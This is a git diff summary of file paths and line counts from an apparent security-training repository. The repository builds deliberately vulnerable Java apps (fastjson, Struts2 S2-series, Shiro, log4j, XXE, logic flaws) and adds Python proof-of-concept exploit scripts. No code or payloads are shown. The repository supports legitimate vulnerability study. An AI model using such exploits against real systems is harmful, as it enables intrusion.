fastjson-1.2.42/docker-compose.yaml | 9 + fastjson-1.2.43/Dockerfile | 1 + fastjson-1.2.43/Dockerfile_local | 1 + fastjson-1.2.43/docker-compose.yaml | 9 + fastjson-1.2.45/Dockerfile | 1 + fastjson-1.2.45/Dockerfile_local | 1 + fastjson-1.2.45/docker-compose.yaml | 9 + fastjson-1.2.59/Dockerfile | 1 + fastjson-1.2.59/Dockerfile_local | 1 + fastjson-1.2.59/docker-compose.yaml | 9 + fastjson-1.2.60/Dockerfile | 1 + fastjson-1.2.60/Dockerfile_local | 1 + fastjson-1.2.60/docker-compose.yaml | 9 + fastjson-1.2.61/Dockerfile | 1 + fastjson-1.2.61/Dockerfile_local | 1 + fastjson-1.2.61/docker-compose.yaml | 9 + fastjson-1.2.62/Dockerfile | 1 + fastjson-1.2.62/Dockerfile_local | 1 + fastjson-1.2.62/docker-compose.yaml | 9 + fastjson-1.2.66/Dockerfile | 1 + fastjson-1.2.66/Dockerfile_local | 1 + fastjson-1.2.66/docker-compose.yaml | 9 + fastjson-1.2.67/Dockerfile | 1 + fastjson-1.2.67/Dockerfile_local | 1 + fastjson-1.2.67/docker-compose.yaml | 9 + fastjson-1.2.68/Dockerfile | 1 + fastjson-1.2.68/Dockerfile_local | 1 + fastjson-1.2.68/docker-compose.yaml | 9 + fastjson-1.2.80/Dockerfile | 1 + fastjson-1.2.80/Dockerfile_local | 1 + fastjson-1.2.80/docker-compose.yaml | 9 + fastjson-1.2.83/Dockerfile | 1 + fastjson-1.2.83/Dockerfile_local | 1 + fastjson-1.2.83/docker-compose.yaml | 9 + index/Dockerfile | 22 - index/__pycache__/app.cpython-37.pyc | Bin 2990 -> 0 bytes index/__pycache__/m.cpython-36.pyc | Bin 1206 -> 0 bytes index/__pycache__/vul.cpython-36.pyc | Bin 25639 -> 0 bytes index/__pycache__/vul.cpython-37.pyc | Bin 24787 -> 0 bytes index/app.py | 116 -- index/m.py | 28 - index/requirements.txt | 2 - index/templates/index.html | 365 ---- index/test.txt | 1 - index/vul.py | 1512 ----------------- init-db/sec.sql | 74 - log4jvul/Dockerfile | 1 + log4jvul/Dockerfile_local | 1 + log4jvul/docker-compose.yaml | 9 + logic_vul/Dockerfile | 10 + logic_vul/Dockerfile_local | 4 + logic_vul/docker-compose.yaml | 9 + .../main/java/com/myapp/MyApplication.java | 2 +- .../myapp/controller/LogicVulController.java | 122 ++ .../java/com/myapp/model/CheckoutRequest.java | 40 + .../java/com/myapp/model/LoginRequest.java | 40 + .../java/com/myapp/model/OrderRecord.java | 95 ++ .../java/com/myapp/model/PersonalProfile.java | 80 + .../java/com/myapp/model/SmsSendRequest.java | 13 + .../com/myapp/model/SmsVerifyRequest.java | 22 + .../java/com/myapp/model/UserAccount.java | 70 + .../com/myapp/service/LogicVulService.java | 550 ++++++ .../src/main/resources/application.properties | 1 + microservice-a-service/Dockerfile | 14 - microservice-a-service/Dockerfile_local | 8 - microservice-a-service/pom.xml | 74 - .../myapp/servicea/ServiceAApplication.java | 23 - .../controllers/ServiceAController.java | 42 - .../src/main/resources/application.yml | 21 - microservice-b-service/Dockerfile | 14 - microservice-b-service/Dockerfile_local | 8 - microservice-b-service/pom.xml | 72 - .../java/serviceb/ServiceBApplication.java | 24 - .../controllers/ServiceBController.java | 108 -- .../src/main/resources/application.yml | 21 - microservice-c-service/Dockerfile | 14 - microservice-c-service/Dockerfile_local | 8 - microservice-c-service/mydb.properties | 5 - microservice-c-service/mydb.script | 58 - microservice-c-service/pom.xml | 86 - .../myapp/servicec/ServiceCApplication.java | 23 - .../controllers/ServiceCController.java | 48 - .../com/myapp/servicec/entity/DataEntity.java | 27 - .../servicec/repository/DataRepository.java | 13 - .../src/main/resources/application.yml | 34 - microservice-d-service/Dockerfile | 14 - microservice-d-service/Dockerfile_local | 8 - microservice-d-service/pom.xml | 72 - .../myapp/serviced/ServiceDApplication.java | 23 - .../controllers/ServiceDController.java | 84 - .../src/main/resources/application.yml | 21 - microservice-e-service/Dockerfile | 14 - microservice-e-service/Dockerfile_local | 8 - microservice-e-service/pom.xml | 84 - .../myapp/servicee/ServiceEApplication.java | 23 - .../controllers/ServiceEController.java | 100 -- .../src/main/resources/application.yml | 14 - microservice-eureka-service/Dockerfile | 14 - microservice-eureka-service/Dockerfile_local | 8 - microservice-eureka-service/README.md | 27 - microservice-eureka-service/pom.xml | 67 - .../eurekaserver/EurekaServerApplication.java | 13 - .../src/main/resources/application.yml | 9 - microservice-f-service/Dockerfile | 14 - microservice-f-service/Dockerfile_local | 8 - microservice-f-service/pom.xml | 72 - .../myapp/servicef/ServiceFApplication.java | 23 - .../controllers/ServiceFController.java | 66 - .../src/main/resources/application.yml | 13 - microservice-g-service/Dockerfile | 14 - microservice-g-service/Dockerfile_local | 8 - .../myapp/serviceg/ServiceFApplication.java | 23 - .../controllers/ServiceFController.java | 16 - .../src/main/resources/application.yml | 13 - microservice-h-service/Dockerfile | 14 - microservice-h-service/Dockerfile_local | 8 - microservice-h-service/pom.xml | 72 - .../myapp/serviceh/ServiceHApplication.java | 23 - .../controllers/ServiceHController.java | 16 - .../src/main/resources/application.yml | 13 - obj | Bin 1266 -> 0 bytes .../__pycache__/replay_all.cpython-313.pyc | Bin 0 -> 9695 bytes python_scripts/poc/__init__.py | 28 + .../poc/__pycache__/__init__.cpython-313.pyc | Bin 0 -> 797 bytes .../poc/__pycache__/actuator.cpython-313.pyc | Bin 0 -> 1016 bytes .../poc/__pycache__/base_vul.cpython-313.pyc | Bin 0 -> 23893 bytes .../__pycache__/collections.cpython-313.pyc | Bin 0 -> 1208 bytes .../__pycache__/data_access.cpython-313.pyc | Bin 0 -> 1325 bytes .../poc/__pycache__/druid.cpython-313.pyc | Bin 0 -> 829 bytes .../poc/__pycache__/fastjson.cpython-313.pyc | Bin 0 -> 11167 bytes .../__pycache__/integration.cpython-313.pyc | Bin 0 -> 2260 bytes .../poc/__pycache__/log4j.cpython-313.pyc | Bin 0 -> 788 bytes .../poc/__pycache__/logic_vul.cpython-313.pyc | Bin 0 -> 2957 bytes .../poc/__pycache__/shiro.cpython-313.pyc | Bin 0 -> 2117 bytes .../poc/__pycache__/struts.cpython-313.pyc | Bin 0 -> 22320 bytes python_scripts/poc/actuator.py | 25 + python_scripts/poc/base_vul.py | 631 +++++++ python_scripts/poc/collections.py | 35 + python_scripts/poc/data_access.py | 32 + python_scripts/poc/druid.py | 20 + python_scripts/poc/fastjson.py | 251 +++ python_scripts/poc/integration.py | 45 + python_scripts/poc/log4j.py | 17 + python_scripts/poc/logic_vul.py | 94 + python_scripts/poc/shiro.py | 74 + python_scripts/poc/struts.py | 353 ++++ python_scripts/replay_all.py | 256 +++ python_scripts/requirements.txt | 1 + run-local-build.sh | 20 +- run-local-service.sh | 20 - shior-1.2.4/Dockerfile | 1 + shior-1.2.4/Dockerfile_local | 1 + shior-1.2.4/docker-compose.yaml | 9 + shior-1.2.4/pom.xml | 20 + .../java/com/myapp/config/ShiroConfig.java | 2 + .../myapp/support/ShiroWeakKeySupport.java | 1 + .../src/main/resources/application.properties | 2 +- shiro-1.25_1.42/Dockerfile | 1 + shiro-1.25_1.42/Dockerfile_local | 1 + shiro-1.25_1.42/docker-compose.yaml | 9 + shiro-1.25_1.42/pom.xml | 20 + .../main/java/com/myapp/MyApplication.java | 1 + .../java/com/myapp/config/ShiroConfig.java | 85 +- .../ShiroPaddingOracleController.java | 361 ++-- .../support/RememberMeOracleService.java | 298 ---- .../src/main/resources/application.properties | 2 +- shiro-1.25_1.42/src/main/resources/shiro.ini | 40 + shiro-1.8.0/Dockerfile | 1 + shiro-1.8.0/Dockerfile_local | 1 + shiro-1.8.0/docker-compose.yaml | 9 + .../java/com/myapp/config/ShiroConfig.java | 11 +- .../myapp/controller/Shiro180Controller.java | 137 +- .../myapp/support/ShiroWeakKeySupport.java | 87 + .../src/main/resources/application.properties | 2 +- shiro-cve-2020-17523/Dockerfile | 10 + shiro-cve-2020-17523/Dockerfile_local | 4 + shiro-cve-2020-17523/docker-compose.yaml | 9 + .../pom.xml | 42 +- .../main/java/com/myapp/MyApplication.java | 12 + .../java/com/myapp/config/ShiroConfig.java | 84 + .../java/com/myapp/config/WebMvcConfig.java | 21 + .../ShiroCve202017523Controller.java | 178 ++ .../src/main/resources/application.properties | 3 + struts2-s2-001/Dockerfile | 11 + struts2-s2-001/Dockerfile_local | 5 + struts2-s2-001/docker-compose.yaml | 9 + struts2-s2-001/pom.xml | 65 + .../java/com/myapp/action/IndexAction.java | 11 + .../java/com/myapp/action/LoginAction.java | 41 + .../src/main/resources/log4j.properties | 4 + struts2-s2-001/src/main/resources/struts.xml | 20 + .../src/main/webapp/WEB-INF/content/index.jsp | 76 + .../src/main/webapp/WEB-INF/content/login.jsp | 87 + .../main/webapp/WEB-INF/content/success.jsp | 24 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-001/src/main/webapp/index.jsp | 2 + struts2-s2-003/Dockerfile | 11 + struts2-s2-003/Dockerfile_local | 5 + struts2-s2-003/docker-compose.yaml | 9 + struts2-s2-003/pom.xml | 65 + .../java/com/myapp/action/IndexAction.java | 48 + .../java/com/myapp/action/ResetAction.java | 26 + .../src/main/resources/log4j.properties | 4 + struts2-s2-003/src/main/resources/struts.xml | 19 + .../src/main/webapp/WEB-INF/content/index.jsp | 120 ++ .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-003/src/main/webapp/index.jsp | 2 + struts2-s2-005/Dockerfile | 11 + struts2-s2-005/Dockerfile_local | 5 + struts2-s2-005/docker-compose.yaml | 10 + struts2-s2-005/pom.xml | 65 + .../java/com/myapp/action/IndexAction.java | 51 + .../java/com/myapp/action/ResetAction.java | 22 + .../src/main/resources/log4j.properties | 4 + struts2-s2-005/src/main/resources/struts.xml | 19 + .../src/main/webapp/WEB-INF/content/index.jsp | 177 ++ .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-005/src/main/webapp/index.jsp | 2 + struts2-s2-007/Dockerfile | 11 + struts2-s2-007/Dockerfile_local | 5 + struts2-s2-007/docker-compose.yaml | 9 + struts2-s2-007/pom.xml | 65 + .../java/com/myapp/action/IndexAction.java | 11 + .../java/com/myapp/action/UserAction.java | 40 + .../myapp/action/UserAction-validation.xml | 13 + .../src/main/resources/log4j.properties | 4 + struts2-s2-007/src/main/resources/struts.xml | 20 + .../src/main/webapp/WEB-INF/content/index.jsp | 34 + .../src/main/webapp/WEB-INF/content/login.jsp | 77 + .../main/webapp/WEB-INF/content/success.jsp | 26 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-007/src/main/webapp/index.jsp | 2 + struts2-s2-009/Dockerfile | 11 + struts2-s2-009/Dockerfile_local | 5 + struts2-s2-009/docker-compose.yaml | 9 + struts2-s2-009/pom.xml | 65 + .../java/com/myapp/action/Example5Action.java | 30 + .../java/com/myapp/action/IndexAction.java | 11 + .../src/main/resources/log4j.properties | 4 + struts2-s2-009/src/main/resources/struts.xml | 16 + .../src/main/webapp/WEB-INF/content/index.jsp | 31 + .../src/main/webapp/WEB-INF/content/login.jsp | 89 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-009/src/main/webapp/index.jsp | 2 + struts2-s2-012/Dockerfile | 11 + struts2-s2-012/Dockerfile_local | 5 + struts2-s2-012/docker-compose.yaml | 9 + struts2-s2-012/pom.xml | 65 + .../java/com/myapp/action/IndexAction.java | 21 + .../java/com/myapp/action/UserAction.java | 33 + .../src/main/resources/log4j.properties | 4 + struts2-s2-012/src/main/resources/struts.xml | 20 + .../src/main/webapp/WEB-INF/content/index.jsp | 61 + .../main/webapp/WEB-INF/content/success.jsp | 12 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-012/src/main/webapp/index.jsp | 2 + struts2-s2-013/Dockerfile | 11 + struts2-s2-013/Dockerfile_local | 5 + struts2-s2-013/docker-compose.yaml | 9 + struts2-s2-013/pom.xml | 65 + .../java/com/myapp/action/IndexAction.java | 11 + .../java/com/myapp/action/LinkAction.java | 21 + .../src/main/resources/log4j.properties | 4 + struts2-s2-013/src/main/resources/struts.xml | 15 + .../src/main/webapp/WEB-INF/content/login.jsp | 75 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-013/src/main/webapp/index.jsp | 2 + struts2-s2-015/Dockerfile | 11 + struts2-s2-015/Dockerfile_local | 5 + struts2-s2-015/docker-compose.yaml | 9 + struts2-s2-015/pom.xml | 65 + .../java/com/myapp/action/IndexAction.java | 11 + .../java/com/myapp/action/PageAction.java | 11 + .../java/com/myapp/action/ParamAction.java | 21 + .../src/main/resources/log4j.properties | 4 + struts2-s2-015/src/main/resources/struts.xml | 26 + .../src/main/webapp/WEB-INF/content/help.jsp | 11 + .../src/main/webapp/WEB-INF/content/index.jsp | 75 + .../main/webapp/WEB-INF/content/success.jsp | 11 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-015/src/main/webapp/index.jsp | 2 + struts2-s2-016/Dockerfile | 11 + struts2-s2-016/Dockerfile_local | 5 + struts2-s2-016/docker-compose.yaml | 9 + struts2-s2-016/pom.xml | 66 + .../java/com/myapp/action/IndexAction.java | 11 + .../src/main/resources/log4j.properties | 4 + struts2-s2-016/src/main/resources/struts.xml | 15 + .../src/main/webapp/WEB-INF/content/index.jsp | 72 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-016/src/main/webapp/index.jsp | 2 + struts2-s2-019/Dockerfile | 11 + struts2-s2-019/Dockerfile_local | 5 + struts2-s2-019/docker-compose.yaml | 9 + struts2-s2-019/pom.xml | 66 + .../com/myapp/action/HelloWorldAction.java | 11 + .../src/main/resources/log4j.properties | 4 + struts2-s2-019/src/main/resources/struts.xml | 15 + .../src/main/webapp/WEB-INF/content/index.jsp | 60 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-019/src/main/webapp/index.jsp | 2 + struts2-s2-032/Dockerfile | 11 + struts2-s2-032/Dockerfile_local | 5 + struts2-s2-032/docker-compose.yaml | 9 + struts2-s2-032/pom.xml | 66 + .../java/com/myapp/action/IndexAction.java | 11 + .../src/main/resources/log4j.properties | 4 + struts2-s2-032/src/main/resources/struts.xml | 16 + .../src/main/webapp/WEB-INF/content/index.jsp | 58 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-032/src/main/webapp/index.jsp | 2 + struts2-s2-045/Dockerfile | 11 + struts2-s2-045/Dockerfile_local | 5 + struts2-s2-045/docker-compose.yaml | 9 + struts2-s2-045/pom.xml | 75 + .../java/com/myapp/action/IndexAction.java | 11 + .../java/com/myapp/action/UploadAction.java | 31 + .../src/main/resources/log4j.properties | 4 + struts2-s2-045/src/main/resources/struts.xml | 19 + .../src/main/webapp/WEB-INF/content/index.jsp | 57 + .../main/webapp/WEB-INF/content/result.jsp | 31 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-045/src/main/webapp/index.jsp | 2 + struts2-s2-046/Dockerfile | 11 + struts2-s2-046/Dockerfile_local | 5 + struts2-s2-046/docker-compose.yaml | 9 + struts2-s2-046/pom.xml | 75 + .../java/com/myapp/action/IndexAction.java | 11 + .../java/com/myapp/action/UploadAction.java | 31 + .../src/main/resources/log4j.properties | 4 + struts2-s2-046/src/main/resources/struts.xml | 19 + .../src/main/webapp/WEB-INF/content/index.jsp | Bin 0 -> 3388 bytes .../main/webapp/WEB-INF/content/result.jsp | 31 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-046/src/main/webapp/index.jsp | 2 + struts2-s2-048/Dockerfile | 11 + struts2-s2-048/Dockerfile_local | 5 + struts2-s2-048/docker-compose.yaml | 9 + struts2-s2-048/pom.xml | 70 + .../java/com/myapp/action/GangsterAction.java | 22 + .../java/com/myapp/action/IndexAction.java | 11 + .../src/main/resources/log4j.properties | 4 + struts2-s2-048/src/main/resources/struts.xml | 18 + .../src/main/webapp/WEB-INF/content/index.jsp | 52 + .../main/webapp/WEB-INF/content/result.jsp | 31 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-048/src/main/webapp/index.jsp | 2 + struts2-s2-052/Dockerfile | 11 + struts2-s2-052/Dockerfile_local | 5 + struts2-s2-052/docker-compose.yaml | 9 + struts2-s2-052/pom.xml | 75 + .../com/myapp/action/OrdersController.java | 27 + .../src/main/resources/log4j.properties | 4 + struts2-s2-052/src/main/resources/struts.xml | 23 + .../src/main/webapp/WEB-INF/content/index.jsp | 46 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-052/src/main/webapp/index.jsp | 2 + struts2-s2-053/Dockerfile | 11 + struts2-s2-053/Dockerfile_local | 5 + struts2-s2-053/docker-compose.yaml | 9 + struts2-s2-053/pom.xml | 70 + .../java/com/myapp/action/HelloAction.java | 16 + .../src/main/resources/log4j.properties | 4 + struts2-s2-053/src/main/resources/struts.xml | 15 + .../src/main/webapp/WEB-INF/content/hello.ftl | 29 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-053/src/main/webapp/index.jsp | 2 + struts2-s2-057/Dockerfile | 11 + struts2-s2-057/Dockerfile_local | 5 + struts2-s2-057/docker-compose.yaml | 9 + struts2-s2-057/pom.xml | 70 + .../java/com/myapp/action/ChainAction.java | 11 + .../java/com/myapp/action/IndexAction.java | 16 + .../src/main/resources/log4j.properties | 4 + struts2-s2-057/src/main/resources/struts.xml | 20 + .../src/main/webapp/WEB-INF/content/index.jsp | 56 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-057/src/main/webapp/index.jsp | 2 + struts2-s2-059/Dockerfile | 11 + struts2-s2-059/Dockerfile_local | 5 + struts2-s2-059/docker-compose.yaml | 9 + struts2-s2-059/pom.xml | 70 + .../java/com/myapp/action/IndexAction.java | 21 + .../src/main/resources/log4j.properties | 4 + struts2-s2-059/src/main/resources/struts.xml | 14 + .../src/main/webapp/WEB-INF/content/index.jsp | 65 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-059/src/main/webapp/index.jsp | 2 + struts2-s2-061/Dockerfile | 11 + struts2-s2-061/Dockerfile_local | 5 + struts2-s2-061/docker-compose.yaml | 9 + struts2-s2-061/pom.xml | 70 + .../java/com/myapp/action/IndexAction.java | 21 + .../src/main/resources/log4j.properties | 4 + struts2-s2-061/src/main/resources/struts.xml | 14 + .../src/main/webapp/WEB-INF/content/index.jsp | 50 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-061/src/main/webapp/index.jsp | 2 + struts2-s2-062/Dockerfile | 11 + struts2-s2-062/Dockerfile_local | 5 + struts2-s2-062/docker-compose.yaml | 9 + struts2-s2-062/pom.xml | 70 + .../java/com/myapp/action/IndexAction.java | 21 + .../src/main/resources/log4j.properties | 4 + struts2-s2-062/src/main/resources/struts.xml | 14 + .../src/main/webapp/WEB-INF/content/index.jsp | 50 + .../src/main/webapp/WEB-INF/web.xml | 21 + struts2-s2-062/src/main/webapp/index.jsp | 2 + wxpay-xxe/Dockerfile | 1 + wxpay-xxe/Dockerfile_local | 1 + wxpay-xxe/docker-compose.yaml | 9 + 546 files changed, 13081 insertions(+), 5350 deletions(-) delete mode 100644 .gitbook/assets/image-20240127215349622.png delete mode 100644 .gitbook/assets/image-20240306164920221.png delete mode 100644 .gitbook/assets/image-20240306165001240.png create mode 100644 CVE-2019-10173/docker-compose.yaml create mode 100644 CVE-2019-12384/docker-compose.yaml create mode 100644 HSQLDB/docker-compose.yaml create mode 100644 Hibernate/docker-compose.yaml create mode 100644 SimpleAgent/docker-compose.yaml create mode 100644 actuator_authorized_1.X/docker-compose.yaml create mode 100644 actuator_authorized_2.X/docker-compose.yaml create mode 100644 actuator_unauthorized_1.X/docker-compose.yaml create mode 100644 actuator_unauthorized_2.X/docker-compose.yaml create mode 100644 base_vul/docker-compose.yaml create mode 100644 base_vul/src/main/java/com/myapp/config/SQLiteDialect.java create mode 100644 base_vul/src/main/resources/data.sql create mode 100644 base_vul/src/main/resources/schema.sql create mode 100644 base_vul_repair/docker-compose.yaml create mode 100644 base_vul_repair/src/main/resources/data.sql create mode 100644 base_vul_repair/src/main/resources/schema.sql create mode 100644 cas_xxe/docker-compose.yaml create mode 100644 collections/docker-compose.yaml create mode 100644 doc/README.md create mode 100644 doc/project-tutorials.md create mode 100644 doc/projects/actuator-authorized-1-x.md create mode 100644 doc/projects/actuator-authorized-2-x.md create mode 100644 doc/projects/actuator-unauthorized-1-x.md create mode 100644 doc/projects/actuator-unauthorized-2-x.md create mode 100644 doc/projects/base-vul-repair.md create mode 100644 doc/projects/base-vul.md create mode 100644 doc/projects/cas-xxe.md create mode 100644 doc/projects/collections.md create mode 100644 doc/projects/cve-2019-10173.md create mode 100644 doc/projects/cve-2019-12384.md create mode 100644 doc/projects/druid-authorized.md create mode 100644 doc/projects/druid-unauthorized.md create mode 100644 doc/projects/fastjson-1-2-24.md create mode 100644 doc/projects/fastjson-1-2-25-1-2-41.md create mode 100644 doc/projects/fastjson-1-2-42.md create mode 100644 doc/projects/fastjson-1-2-43.md create mode 100644 doc/projects/fastjson-1-2-45.md create mode 100644 doc/projects/fastjson-1-2-59.md create mode 100644 doc/projects/fastjson-1-2-60.md create mode 100644 doc/projects/fastjson-1-2-61.md create mode 100644 doc/projects/fastjson-1-2-62.md create mode 100644 doc/projects/fastjson-1-2-66.md create mode 100644 doc/projects/fastjson-1-2-67.md create mode 100644 doc/projects/fastjson-1-2-68.md create mode 100644 doc/projects/fastjson-1-2-80.md create mode 100644 doc/projects/fastjson-1-2-83.md create mode 100644 doc/projects/hibernate.md create mode 100644 doc/projects/hsqldb.md create mode 100644 doc/projects/index.md create mode 100644 doc/projects/log4jvul.md create mode 100644 doc/projects/logic-vul.md create mode 100644 doc/projects/shior-1-2-4.md create mode 100644 doc/projects/shiro-1-25-1-42.md create mode 100644 doc/projects/shiro-1-8-0.md create mode 100644 doc/projects/shiro-cve-2020-17523.md create mode 100644 doc/projects/simpleagent.md create mode 100644 doc/projects/struts2-s2-001.md create mode 100644 doc/projects/struts2-s2-003.md create mode 100644 doc/projects/struts2-s2-005.md create mode 100644 doc/projects/struts2-s2-007.md create mode 100644 doc/projects/struts2-s2-009.md create mode 100644 doc/projects/struts2-s2-012.md create mode 100644 doc/projects/struts2-s2-013.md create mode 100644 doc/projects/struts2-s2-015.md create mode 100644 doc/projects/wxpay-xxe.md create mode 100644 doc/testing-pocs.md delete mode 100644 docker-compose-microservice.yml delete mode 100644 docker-compose-only-mysql.yaml create mode 100644 druid_authorized/docker-compose.yaml create mode 100644 druid_authorized/src/main/resources/data.sql create mode 100644 druid_authorized/src/main/resources/schema.sql create mode 100644 druid_unauthorized/docker-compose.yaml create mode 100644 druid_unauthorized/src/main/resources/data.sql create mode 100644 druid_unauthorized/src/main/resources/schema.sql create mode 100644 fastjson-1.2.24/docker-compose.yaml create mode 100644 fastjson-1.2.25-1.2.41/docker-compose.yaml create mode 100644 fastjson-1.2.42/docker-compose.yaml create mode 100644 fastjson-1.2.43/docker-compose.yaml create mode 100644 fastjson-1.2.45/docker-compose.yaml create mode 100644 fastjson-1.2.59/docker-compose.yaml create mode 100644 fastjson-1.2.60/docker-compose.yaml create mode 100644 fastjson-1.2.61/docker-compose.yaml create mode 100644 fastjson-1.2.62/docker-compose.yaml create mode 100644 fastjson-1.2.66/docker-compose.yaml create mode 100644 fastjson-1.2.67/docker-compose.yaml create mode 100644 fastjson-1.2.68/docker-compose.yaml create mode 100644 fastjson-1.2.80/docker-compose.yaml create mode 100644 fastjson-1.2.83/docker-compose.yaml delete mode 100644 index/Dockerfile delete mode 100644 index/__pycache__/app.cpython-37.pyc delete mode 100644 index/__pycache__/m.cpython-36.pyc delete mode 100644 index/__pycache__/vul.cpython-36.pyc delete mode 100644 index/__pycache__/vul.cpython-37.pyc delete mode 100644 index/app.py delete mode 100644 index/m.py delete mode 100644 index/requirements.txt delete mode 100644 index/templates/index.html delete mode 100644 index/test.txt delete mode 100644 index/vul.py delete mode 100644 init-db/sec.sql create mode 100644 log4jvul/docker-compose.yaml create mode 100644 logic_vul/Dockerfile create mode 100644 logic_vul/Dockerfile_local create mode 100644 logic_vul/docker-compose.yaml create mode 100644 logic_vul/src/main/java/com/myapp/controller/LogicVulController.java create mode 100644 logic_vul/src/main/java/com/myapp/model/CheckoutRequest.java create mode 100644 logic_vul/src/main/java/com/myapp/model/LoginRequest.java create mode 100644 logic_vul/src/main/java/com/myapp/model/OrderRecord.java create mode 100644 logic_vul/src/main/java/com/myapp/model/PersonalProfile.java create mode 100644 logic_vul/src/main/java/com/myapp/model/SmsSendRequest.java create mode 100644 logic_vul/src/main/java/com/myapp/model/SmsVerifyRequest.java create mode 100644 logic_vul/src/main/java/com/myapp/model/UserAccount.java create mode 100644 logic_vul/src/main/java/com/myapp/service/LogicVulService.java create mode 100644 logic_vul/src/main/resources/application.properties delete mode 100644 microservice-a-service/Dockerfile delete mode 100644 microservice-a-service/Dockerfile_local delete mode 100644 microservice-a-service/pom.xml delete mode 100644 microservice-a-service/src/main/java/com/myapp/servicea/ServiceAApplication.java delete mode 100644 microservice-a-service/src/main/java/com/myapp/servicea/controllers/ServiceAController.java delete mode 100644 microservice-a-service/src/main/resources/application.yml delete mode 100644 microservice-b-service/Dockerfile delete mode 100644 microservice-b-service/Dockerfile_local delete mode 100644 microservice-b-service/pom.xml delete mode 100644 microservice-b-service/src/main/java/serviceb/ServiceBApplication.java delete mode 100644 microservice-b-service/src/main/java/serviceb/controllers/ServiceBController.java delete mode 100644 microservice-b-service/src/main/resources/application.yml delete mode 100644 microservice-c-service/Dockerfile delete mode 100644 microservice-c-service/Dockerfile_local delete mode 100644 microservice-c-service/mydb.properties delete mode 100644 microservice-c-service/mydb.script delete mode 100644 microservice-c-service/pom.xml delete mode 100644 microservice-c-service/src/main/java/com/myapp/servicec/ServiceCApplication.java delete mode 100644 microservice-c-service/src/main/java/com/myapp/servicec/controllers/ServiceCController.java delete mode 100644 microservice-c-service/src/main/java/com/myapp/servicec/entity/DataEntity.java delete mode 100644 microservice-c-service/src/main/java/com/myapp/servicec/repository/DataRepository.java delete mode 100644 microservice-c-service/src/main/resources/application.yml delete mode 100644 microservice-d-service/Dockerfile delete mode 100644 microservice-d-service/Dockerfile_local delete mode 100644 microservice-d-service/pom.xml delete mode 100644 microservice-d-service/src/main/java/com/myapp/serviced/ServiceDApplication.java delete mode 100644 microservice-d-service/src/main/java/com/myapp/serviced/controllers/ServiceDController.java delete mode 100644 microservice-d-service/src/main/resources/application.yml delete mode 100644 microservice-e-service/Dockerfile delete mode 100644 microservice-e-service/Dockerfile_local delete mode 100644 microservice-e-service/pom.xml delete mode 100644 microservice-e-service/src/main/java/com/myapp/servicee/ServiceEApplication.java delete mode 100644 microservice-e-service/src/main/java/com/myapp/servicee/controllers/ServiceEController.java delete mode 100644 microservice-e-service/src/main/resources/application.yml delete mode 100644 microservice-eureka-service/Dockerfile delete mode 100644 microservice-eureka-service/Dockerfile_local delete mode 100644 microservice-eureka-service/README.md delete mode 100644 microservice-eureka-service/pom.xml delete mode 100644 microservice-eureka-service/src/main/java/com/myapp/eurekaserver/EurekaServerApplication.java delete mode 100644 microservice-eureka-service/src/main/resources/application.yml delete mode 100644 microservice-f-service/Dockerfile delete mode 100644 microservice-f-service/Dockerfile_local delete mode 100644 microservice-f-service/pom.xml delete mode 100644 microservice-f-service/src/main/java/com/myapp/servicef/ServiceFApplication.java delete mode 100644 microservice-f-service/src/main/java/com/myapp/servicef/controllers/ServiceFController.java delete mode 100644 microservice-f-service/src/main/resources/application.yml delete mode 100644 microservice-g-service/Dockerfile delete mode 100644 microservice-g-service/Dockerfile_local delete mode 100644 microservice-g-service/src/main/java/com/myapp/serviceg/ServiceFApplication.java delete mode 100644 microservice-g-service/src/main/java/com/myapp/serviceg/controllers/ServiceFController.java delete mode 100644 microservice-g-service/src/main/resources/application.yml delete mode 100644 microservice-h-service/Dockerfile delete mode 100644 microservice-h-service/Dockerfile_local delete mode 100644 microservice-h-service/pom.xml delete mode 100644 microservice-h-service/src/main/java/com/myapp/serviceh/ServiceHApplication.java delete mode 100644 microservice-h-service/src/main/java/com/myapp/serviceh/controllers/ServiceHController.java delete mode 100644 microservice-h-service/src/main/resources/application.yml delete mode 100644 obj create mode 100644 python_scripts/__pycache__/replay_all.cpython-313.pyc create mode 100644 python_scripts/poc/__init__.py create mode 100644 python_scripts/poc/__pycache__/__init__.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/actuator.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/base_vul.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/collections.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/data_access.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/druid.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/fastjson.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/integration.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/log4j.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/logic_vul.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/shiro.cpython-313.pyc create mode 100644 python_scripts/poc/__pycache__/struts.cpython-313.pyc create mode 100644 python_scripts/poc/actuator.py create mode 100644 python_scripts/poc/base_vul.py create mode 100644 python_scripts/poc/collections.py create mode 100644 python_scripts/poc/data_access.py create mode 100644 python_scripts/poc/druid.py create mode 100644 python_scripts/poc/fastjson.py create mode 100644 python_scripts/poc/integration.py create mode 100644 python_scripts/poc/log4j.py create mode 100644 python_scripts/poc/logic_vul.py create mode 100644 python_scripts/poc/shiro.py create mode 100644 python_scripts/poc/struts.py create mode 100644 python_scripts/replay_all.py create mode 100644 